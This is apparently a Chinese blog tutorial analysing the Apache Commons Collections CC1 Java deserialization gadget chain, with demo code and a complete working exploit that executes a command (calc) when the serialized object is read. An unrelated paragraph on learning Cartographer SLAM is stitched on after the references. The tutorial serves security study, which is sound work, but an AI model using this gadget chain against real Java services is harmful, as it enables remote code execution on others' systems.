Java安全入门(二)——CC链1 分析+详解

组件介绍

        Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。

作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。

        Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。

环境

  • CommonsCollections <= 3.2.1

  • java < 8u71(我是用的是8u66)

导入Maven依赖

 <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
 </dependency>

 当然也可以 用传统的 lib包下导入add as a library

CC1链 利用过程分析:

0x01 Transformer接口

Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)

package org.apache.commons.collections;

public interface Transformer {

    public Object transform(Object input);

}

该接口的重要实现类有:ConstantTransformerinvokerTransformerChainedTransformerTransformedMap 。

ConstantTransformer类

关键代码如下:

接受一个对象返回一个常量,无论接收什么对象都返回 iConstant

这个常量在构造函数当中

 

ChainedTransformer类

当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。

它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。

 InvokerTransformer类

我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。

 为什么说是可控的呢?我们看它的构造方法就会明白。

这里其实就是一个很标准的任意方法调用。

例子1:

利用该方法弹出计算器:

import org.apache.commons.collections.functors.InvokerTransformer;

public class demo01 {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    }
}

这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。

 

所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法

右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。

假如再寻找的过程中 a方法 调用了 transform,那么我们就要继续寻找 谁调用了 a 方法,最终找到 readObject 方法。

最终是可以发现Map类中可以入手的(前辈们找到的)

 

 0x02 TransformedMap类

TransformedMap 中 checkSetValue 中调用了 transform 方法

TransformedMap 构造函数

 我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些操作。

因为构造方法是 protected 保护方法

所以我们可以找到在该类中调用它的方法 decorate 

0x03 AbstractInputCheckedMapDecorator类

我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。

 我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。

这里需要我们理解一下(再去翻代码是有一些繁琐的)

MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。

TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。

 发现这一点的话,我们就可以通过遍历Map来触发代码的执行。

例子2:

我们写一个例子帮助理解一下。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

        // 以下步骤就相当于 invokerTransformer.transform(runtime);
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

        // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可
        for (Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

    }
}

0x04 AnnotationInvocationHandler类

回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法掉用。

打断一下——下载源码,帮助调试

这里需要我们自己加入sun包的源码,因为一些原因IDEA中是没有一部分包(这里重点是sun包)的java文件,只有class文件。所以调试时会遇到找不到的问题,我们必须手动添加源码。

源码下载地址:

下载版本相对应的源码

jdk8u/jdk8u/jdk: af660750b2f4

 解压后拷贝sun包

 拷贝到jdk8u66的src文件下

 

 IDEA中将src路径加入

 这样我们在调试的时候就可以看到sun包的源码了,同时发现了 AnnotationInvocationHandler 中的 readObject 调用了setValue 方法,我们也是成功找到了readObject方法。

回归正题

接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。

先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。

同时在readObject方法,我们也发现Map的遍历

 

例子3

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

        //演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap);
    
        
        //正常序列化与反序列化
        serialize(o);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

0x05 结束

其实到这里以及分析的差不多了,只有一些小问题需要我们去解决。

        第一点:通过 InvokerTransformer方法获取runtime实例,并执行代码

 

        第二点:readObject方法中有两个if判断,我们需要满足两个 if判断 才能成功执行serValue方法,这个地方可以自己DeBug一下。

 

        第三点,readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class

 最后献上完整代码:

package cc1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class demo01 {
    public static void main(String[] args) throws Exception {

//        //正常获取runtime实例
//        Runtime runtime = Runtime.getRuntime();

//        //反射获取 runtime实例,并执行代码
//        Class c = Runtime.class;
//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(runtime,"calc");

//        //InvokerTransformer方法获取runtime实例,并执行代码
//        Method  getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

        //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //chainedTransformer.transform(Runtime.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value","value");

        Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);




        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        //创建构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        //保证可以访问到
        annotationInvocationHandlerConstructor.setAccessible(true);
        //实例化传参,注解和构造好的Map
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

 

参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

要从入门到精通cartographer,首先需要理解其原理和工作流程。Cartographer是一个用于SLAM(Simultaneous Localization and Mapping,同时定位与地图构建)的开源库,能够将传感器数据转化为精确的地图。 入门阶段,需要了解SLAM的基本概念和原理。SLAM是指在未知环境中,通过感知传感器数据来同时估计机器人的运动轨迹和环境的地图。掌握SLAM的核心原理,包括前端、后端、回环检测等模块的作用和相互关系,能够帮助我们理解Cartographer的工作方式。 接下来,在学习Cartographer源码的过程中,需要逐行详解其实现细节。首先,可以通过阅读Cartographer的文档和官方教程来了解其整体结构和基本用法。然后,需要仔细研究Cartographer的核心算法和数据结构,包括激光雷达数据的处理、位姿变换的估计、地图的构建与更新等。可以针对每个模块和函数进行调试和分析,逐行深入源码。 在深入源码的过程中,可以利用调试工具、打印输出等方法来观察程序的执行过程和数据变化。同时,可以结合论文和研究成果来深入理解算法和数据处理的原理。通过对每个细节进行分析和思考,能够更好地理解Cartographer的实现机制和运行逻辑。 在精通Cartographer之前,还需要多进行实践和调试。可以尝试使用不同的传感器数据和场景来测试Cartographer的性能和鲁棒性。通过实际应用中遇到的问题和挑战,能够进一步加深对Cartographer的理解和掌握。 总之,要从入门到精通Cartographer,需要系统学习SLAM的原理和基本概念,并逐行深入研究Cartographer的源码和实现细节。通过理论学习和实践应用相结合,能够全面掌握Cartographer的工作原理和使用方法。
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ErYao7

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值